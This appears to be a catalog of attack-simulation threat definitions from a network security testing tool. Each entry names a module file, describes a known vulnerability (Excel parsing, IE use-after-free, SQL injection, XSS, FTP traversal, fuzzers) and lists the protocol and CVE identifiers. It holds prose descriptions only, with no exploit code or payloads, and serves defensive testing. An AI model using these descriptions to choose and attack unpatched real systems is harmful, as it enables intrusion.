Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to an error in parsing Excel records. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3403
Threat File Name:	ms04-028.xml
Executive Description:	MS04-028 Microsoft GDI+ JPEG Buffer Overflow Attack
Detailed Description:	This threat represents a browser client downloading a malicious JPEG image designed to cause code execution on a Windows XP machine through a flaw in GDI+ rendering library. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0200
OSVDB:	9951
Threat Package:	Standard
Threat File Name:	FSC20081003-18_Rhino_Software_Serv-U_FTP_Server_rnto_Command_Directory_Traversal_IPv6.xml

Executive Description:	Rhino Software Serv-U FTP Server rnto Command Directory Traversal (IPv6 Version)
Detailed Description:	There exists a directory traversal vulnerability in the Rhino Software Serv-U FTP Server. The vulnerability is due to an input validation error in server that does not properly sanitize the rnto command. Successful exploitation allows authenticated remote attackers to write arbitrary files to any location on the vulnerable server. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150609-23_Microsoft_Internet_Explorer_CVE_2015_1744_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1744 Memory Corruption
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1744
Threat File Name:	signoreason.xml
Executive Description:	SIPPING: No Reason
Detailed Description:	This threat sends out a SIP status message with code 100 (Trying) but no text description. This is legal but unexpected and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20110614-14_Microsoft_Office_Excel_Record_Type_Confusion.xml
Executive Description:	Microsoft Office Excel Record Type Confusion
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of records leading to type confusion in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1273
Threat File Name:	ideocontent_xss_IPv6.xml
Executive Description:	IdeoContent Manager news_full.php page Variable XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. IdeoContent Manager is a web based interface that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0463
OSVDB:	22712
Threat File Name:	winproxy_dos_IPv6.xml
Executive Description:	Blue Coat Systems WinProxy Remote Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large HTTP GET request thereby crashing the WinProxy service. WinProxy is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3187
Threat Package:	Standard
Threat File Name:	lbog_sqli.xml
Executive Description:	LBlog Comments.ASP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. LBlog is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140317-06_Google_Chrome_V8_JavaScript_Engine_Memory_Corruption.xml
Executive Description:	Google Chrome V8 JavaScript Engine Memory Corruption
Detailed Description:	A memory corruption vulnerability exist in Google Chrome. The vulnerability is due to an error while processing JavaScript code by the V8 JavaScript Engine. A remote attacker could exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could permit an attacker to execute arbitrary code in the Google Chrome sandbox
Protocol Type:	HTTP,HTTPS,HTML
CVEID:	CVE-2014-1705
Threat File Name:	wowroster_rfi_IPv6.xml
Executive Description:	World of Warcraft (WoW) Roster Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WoW Roster is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160902-01_Adobe_ColdFusion_OOXML_XXE_Information_Disclosure.xml
Executive Description:	Adobe ColdFusion OOXML XXE Information Disclosure
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in the Office Open XML (OOXML) parsing component of Adobe ColdFusion. The vulnerability is due to a lack of validation on user-supplied input when parsing OOXML documents. A remote attacker could exploit this vulnerability by uploading a maliciously crafted OOXML document to the target server. Successful exploitation could allow the attacker to read arbitrary files from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-4264
Threat File Name:	sitedepth_dirtransversal_IPv6.xml
Executive Description:	SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability (IPv6 Version)

Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. SiteDepth CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3404
Threat Package:	Standard
Threat File Name:	FSC20081209-04_Microsoft_Office_Excel_File_OBJ_record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel File OBJ record Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel products. The vulnerability is due to improper parsing of crafted OBJ records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4264
Threat Package:	Standard
Threat File Name:	TSL20140421-11_CA_ERwin_Web_Portal_ConfigServiceProvider_Information_Disclosure_IPv6.xml
Executive Description:	CA ERwin Web Portal ConfigServiceProvider Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the ConfigServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary XML files on a target system, including XML files which store database credentials.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-2210
OSVDB:	106135
Threat File Name:	TSL20130809-08_VLC_Media_Player_ABC_File_Instruction_Field_Parsing_Heap_Overflow_IPv6.xml
Executive Description:	VLC Media Player ABC File Instruction Field Parsing Heap Overflow [IPv6, Version]
Detailed Description:	A remote code execution vulnerability has been reported in the libmodplug library used by VLC Media Player. The vulnerability is due to an error while parsing Instruction fields in ABC files with the style sheet directive "MIDI drum" or "MIDI gchord", which can result in a heap buffer overflow condition. Remote attackers could exploit this vulnerability by enticing the target user to view a malicious ABC file. A successful attack based on this vulnerability may result in the execution of arbitrary code within the security context of the currently logged-in user.
Protocol Type:	IPv6, MMS,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,RTSP
OSVDB:	96133
Threat File Name:	contentnow_xss.xml
Executive Description:	ContentNow 1.30 (upload/xss) Cross-site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. ContentNow is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vivotek_motion_activex_bof.xml
Executive Description:	Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) remote buffer overflow vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Vivotek Motion Jpeg Control ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	messenger_spam_IPv6.xml
Executive Description:	Microsoft Messenger Advertisement (IPv6 Version)
Detailed Description:	This threat attempts to cause a pop-up to occur on an end user's machine, advertising software available for download. Since this protocol is UDP based, it is effectively used as a mass marketing device. The messenger service is tied to MS-RPC, so any RPC port will work (typically port 1026). (IPv6 Version)
Protocol Type:	DCOM/IPv6
Threat Package:	Standard
Threat File Name:	etomite_sql_i_IPv6.xml
Executive Description:	Etomite Index.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat uses crafted web client requests to leverage vulnerabilities in a webserver running Etomite CMS software with the purpose of disclosing admin credentials via injected sql commands. Etomite CMS is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	27485
Threat Package:	Standard
Threat File Name:	TSL20170111-11_Adobe_Reader_and_Acrobat_XSLT_function-available_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Reader and Acrobat XSLT function-available Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in the XSLT component of Adobe Reader and Adobe Acrobat. The vulnerability is due to improper validation of the parameter for XSLT function-available function call. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted document or web page. Successful exploitation could result in code execution under the context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2017-2949
Threat File Name:	msddsdll_IPv6.xml

Executive Description:	Microsoft .NET MSDDS.DLL Exploit (IPv6 Version)
Detailed Description:	This attack causes a heap overflow in Microsoft Internet Explorer through the exploitation of a COM object packaged with msdds.dll. This DLL is supplied with some .NET applications and Visual Studio. This attack comes from a webserver, which typically listens on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2127
OSVDB:	19093
Threat Package:	Standard
Threat File Name:	FSC20080227-06_Trend_Micro_OfficeScan_CGI_Password_Decryption_Buffer_Overflow_IPv6.xml
Executive Description:	Trend Micro OfficeScan CGI Password Decryption Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Trend Micro OfficeScan Policy server handles HTTP requests. The vulnerability is due to lack of boundary protection while processing HTTP parameters. Remote unauthenticated attackers can exploit this vulnerability to take complete control of an affected system. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170515-09_HPE_Intelligent_Management_Center_dbman_BackupZipFile_Command_Injection.xml
Executive Description:	HPE Intelligent Management Center dbman BackupZipFile Command Injection
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to missing validation of user-provided parameters when handling BackupZipFile commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol
CVEID:	CVE-2017-5820
Threat File Name:	thunderbird_filename_obfus.xml
Executive Description:	Thunderbird Long Filename Obfuscation
Detailed Description:	This threat sends an email with an attachment that obfuscates it's full filename, so that it appears to be a text file when in actual fact it is an executable file. This threat is delivered to an SMTP server, which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2006-0236
OSVDB:	22510
Threat Package:	Standard
Threat File Name:	loopbackPing_IPv6.xml
Executive Description:	Loopback Ping (IPv6 Version)
Detailed Description:	This threat sends a ping (same payload as Windows) with a source address of 127.0.0.1. This is normally picked up by IDS systems, and can cause problems on systems with a faulty network stack. A source IP of 127.0.0.1 should never be seen in the wild, and is indicative of a problem or attack. For more testing, the destination IP could be set to 127.0.0.1 as well as the source MAC being set to the same as the destination MAC address. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	ActionApps_cmi.xml
Executive Description:	ActionApps 2.8.1 Remote File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cached.php3's GLOBALS[AA_INC_PATH] parameter. ActionApps is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2686
Threat Package:	Standard
Threat File Name:	ms02-030.xml
Executive Description:	SQLXML contentType Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the SQL Server ISAPI component for Microsoft IIS. This can be used by an attacker to execute remote code. This is a component of the IIS webserver which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0186
OSVDB:	5347
Threat Package:	Standard
Threat File Name:	aspChunked_IPv6.xml
Executive Description:	MS02-018 IIS Chunked Encoding Attack (IPv6 Version)
Detailed Description:	This threat attacks a flaw in the Chunked Encoding of Microsoft Internet Information Service. It has the ability to overwrite a pointer to an address and cause remote code to be executed. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0079
OSVDB:	768
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-POST_PrepndHTTPWithformatn.xml
Executive Description:	Fuzz HTTP POST with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20140520-08_Cogent_DataHub_Web_Server_GetPermissions.asp_Command_Injection_IPv6.xml
Executive Description:	Cogent DataHub Web Server GetPermissions.asp Command Injection IPv6 version.
Detailed Description:	A remote command injection vulnerability has been reported in Cogent DataHub. The vulnerability is due to insufficient validation within the GetPermissions.asp page. A remote attacker can exploit this vulnerability by submitting a maliciously crafted request to GetPermissions.asp. This can result in arbitrary command execution on the vulnerable system.

Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-3789
OSVDB:	107097
Threat File Name:	ibm_director_dirtansversal.xml
Executive Description:	IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability
Detailed Description:	This threat uses a crafted url to leverage a vulnerability within the Redirect.bat file on a ibm director cgi which allows a directory transversal to take place which in turn exposes most files on the system to be read without authorization. IBM Director is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0513
Threat Package:	Standard
Threat File Name:	TSL20170313-04_HPE_Intelligent_Management_Center_accessMgrServlet_Insecure_Deserialization.xml
Executive Description:	HPE Intelligent Management Center accessMgrServlet Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to deserialization of untrusted data by the accessMgrServlet while having vulnerable classes in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted serialized object. Successful exploitation results in arbitrary code execution under the context of the SYSTEM or root user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5790
Threat File Name:	TSL20120508-09_Microsoft_Excel_Type_Mismatch_Series_Record_Parsing_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Excel Type Mismatch Series Record Parsing Memory Corruption(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to a type mismatch during Series record parsing. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1847
OSVDB:	81724
Threat File Name:	FSC20080212-22_Microsoft_Office_Works_File_Converter_WPS_File_Field_Length_Stack_Ove_IPv6.xml
Executive Description:	Microsoft Office Works File Converter WPS File Field Length Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of various field lengths while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0108
Threat Package:	Standard
Threat File Name:	wheatblog_rfi.xml
Executive Description:	Wheatblog Session.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the session.php function which allows a malicious user to include commands in the context of the vulnerable web server. Wheatblog is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120403-03_Quest_InTrust_Annotation_Objects_ActiveX_Control_Index_out_of_Bounds.xml
Executive Description:	Quest InTrust Annotation Objects ActiveX Control Index out of Bounds
Detailed Description:	A memory access vulnerability has been reported in Quest InTrust's Annotation Objects ActiveX control. The vulnerability is due to a design flaw in the Add() method exposed by this ActiveX control, which allows script code to cause the process to execute code from an attacker-controlled memory location. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20170524-02_Samba_Writeable_Share_Insecure_Library_Loading_IPv6.xml
Executive Description:	Samba Writeable Share Insecure Library Loading (IPv6 Version)
Detailed Description:	An insecure library loading vulnerability has been discovered in Samba. The vulnerability is due to a lack of validation on the paths from which shared objects are loaded. A remote, authenticated attacker could exploit this vulnerability by uploading a shared library to a writeable share then connecting to the IPC\$ and opening it using an absolute path. A successful exploitation attempt could result in the execution of arbitrary code in the security context of root.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-7494
Threat File Name:	FSC20100608-23_Microsoft_Office_Excel_ExternName_Record_Parsing_Buffer_Overflow_IPV6.xml
Executive Description:	Microsoft Office Excel ExternName Record Parsing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	
CVEID:	CVE-2010-1249
Threat Package:	Standard

Threat File Name:	TSL20121231-02_Microsoft_Internet_Explorer_applyElement_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer applyElement Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released when processing script code calling the applyElement() method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4792
OSVDB:	88774
Threat File Name:	fuzz-HSRP_Holdtime.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Holdtime
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	FSC20071105-18_osx_quicktime_bof.xml
Executive Description:	Apple QuickTime PICT Image Processing Uncompressedfile Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	TCP
CVEID:	CVE-2007-4672
Threat Package:	Standard
Threat File Name:	TSL20150511-04_ManageEngine_Desktop_Central_MSP_FileUploadServlet_Arbitrary_File_Upload.xml
Executive Description:	ManageEngine Desktop Central MSP FileUploadServlet Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central and Desktop Central MSP. The vulnerability is due to a failure to sanitize HTTP parameter values within the FileUploadServlet servlet. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. Successful exploitation could lead to arbitrary code execution under the security context of the System user. Tester should set the variable \$destPort to 8020 or 8040 before test.
Protocol Type:	HTTP
Threat File Name:	ipv6_SymantecFirewallDNSDOS2.xml
Executive Description:	IPv6 Symantec Firewall DNS Response Buffer Overflow
Detailed Description:	This threat sends a large DNS reply to an open UDP port - such as 137. The Symantec Firewall software will attempt to read the DNS packet, and overflow a buffer it has allocated to read. Can be used for remote execution of code. This is an IPv6 version of another attack.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	TSL20140715-11_HP_Intelligent_Management_Center_SyslogDownloadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center SyslogDownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the SyslogDownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2619
OSVDB:	109169
Threat File Name:	FSC20060424-01_Microsoft_Internet_Explorer_Nested_Object_Tag_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Nested Object Tag Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is caused due to a flaw while processing nested HTML Object tags leading to memory corruption. A remote attacker may exploit this issue via a malicious web page to cause denial of service or execute arbitrary code in the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1992
Threat Package:	Standard
Threat File Name:	gnuturk_sql_i_IPv6.xml
Executive Description:	GNUTurk T_ID Parameter SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. GnuTurk is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	easyftp_pass_bof_IPv6.xml
Executive Description:	Easy File Sharing FTP PASS Command Server Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in Easy File Sharing FTP via the PASS command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf a malicious user. Easy File Sharing FTP Server is an FTP application that typically listens on TCP port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-3952
Threat Package:	Standard

Threat File Name:	tikiwiki_pref_cmi_IPv6.xml
Executive Description:	TikiWiki tiki-user_preferences.php Command Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an invalid language name, this name is used directly to access the language include file which is unchecked and can be used to access arbitrary files, if that file contains PHP it will be also be executed. TikiWiki is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1925
OSVDB:	20923
Threat Package:	Standard
Threat File Name:	TSL20160407-01_Cisco_Prime_Infrastructure_and_EPNM_Deserialization_Code_Execution.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	pop_buffer_overflow_257.xml
Executive Description:	POP Buffer Overflow [257] Attack
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	FSC20070306-02_Apple_QuickTime_udta_Atom_Parsing_Heap_Overflow_Vulnerability.xml
Executive Description:	Apple QuickTime udta Atom Parsing Heap Overflow Vulnerability
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is caused by improper parsing of forged size fields in user data Atoms (udta). By setting this field to an overly large value, an integer overflow occurs resulting in an exploitable heap overflow. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0714
Threat Package:	Standard
Threat File Name:	linksys_passwd.xml
Executive Description:	Linksys Web Camera File Disclosure
Detailed Description:	This threat attempts to retrieve the password file from the web server on Linksys Web Cameras
Protocol Type:	HTTP
CVEID:	CVE-2004-2507
OSVDB:	7112
Threat Package:	Standard
Threat File Name:	TSL20170209-08_Trend_Micro_Control_Manager_ProductTree_RightWindow_XML_External_Entity_Processing_IPv6.xml
Executive Description:	Trend Micro Control Manager ProductTree_RightWindow XML External Entity Processing (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree_RightWindow.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS,IPv6
Threat File Name:	TSL20160209-27_Microsoft_Word_RTF_CVE-2016-0052_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word RTF CVE-2016-0052 Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office. This application fails to properly handle certain objects in memory when parsing specially crafted files.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could possibly lead to arbitrary code execution under the context of the currently logged on user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2016-0052
Threat File Name:	phpraid_XSS_IPv6.xml
Executive Description:	PHPraid View.php Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the View.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHPraid is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	TSL20121106-04_Sophos_Anti-Virus_PDF_Handling_Stack_Buffer_Overflow.xml
Executive Description:	Sophos Anti-Virus PDF Handling Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Sophos Anti-Virus and Endpoint Protection. The vulnerability is due to the handling of encrypted PDF files. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted PDF file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87060
Threat File Name:	FSC20071023-23_IBM_Lotus_Notes_MIF_Attachment_Viewer_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes MIF Attachment Viewer Buffer Overflow (IPv6 Version)

Detailed Description:	Multiple buffer overflow vulnerabilities exist in IBM Lotus Notes attachment viewer. The vulnerabilities are result of insufficient boundary checking while processing the Frame Maker Interchange File (MIF) files. A remote attacker can exploit these vulnerabilities by enticing the target user to open a crafted MIF email attachment, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	lupper19.xml
Executive Description:	Lupper Worm 19
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20110126-04_Oracle_Document_Capture_ActiveX_Control_WriteJPG_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Document Capture ActiveX Control WriteJPG Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in NCSECWLib ActiveX control component included with Oracle Document Capture. The vulnerability is due to a improper bounds ochecking of arguments within the object's WriteJPG method. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code on the target system with the privileges of the logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-3599
OSVDB:	N/A
Threat File Name:	FSC20100208-01_Oracle_Database_DBMS_JVM_EXP_PERMS_System_Command_Execution.xml
Executive Description:	Oracle Database DBMS_JVM_EXP_PERMS System Command Execution
Detailed Description:	A privilege escalation vulnerability exists in Oracle Database server that can allow users with limited privileges to execute arbitrary operating system commands on a target server. The vulnerability is due to an access control weakness that allows non-privileged users to execute methods within the DBMS_JVM_EXP_PERMS package. Remote authenticated users with CREATE_SESSION privileges can exploit this vulnerability via the IMPORT_JVM_PERMS method. Successful exploitation can lead to the execution of arbitrary OS commands on a target server. On Windows, the commands would execute with the security context of SYSTEM.
Protocol Type:	iSQL *Plus/TNS/TCP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_Filename_formatn_RRQ_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formatn_RRQ.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by appending one or more of %n to the filename. OpCode is RRQ (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20130709-32_Microsoft_Internet_Explorer_CVE-2013-3143_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3143 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3143
OSVDB:	94967
Threat File Name:	FSC20070604-06_Microsoft_Internet_Explorer_Javascript_Page_Update_Race_Condition.xml
Executive Description:	Microsoft Internet Explorer Javascript Page Update Race Condition
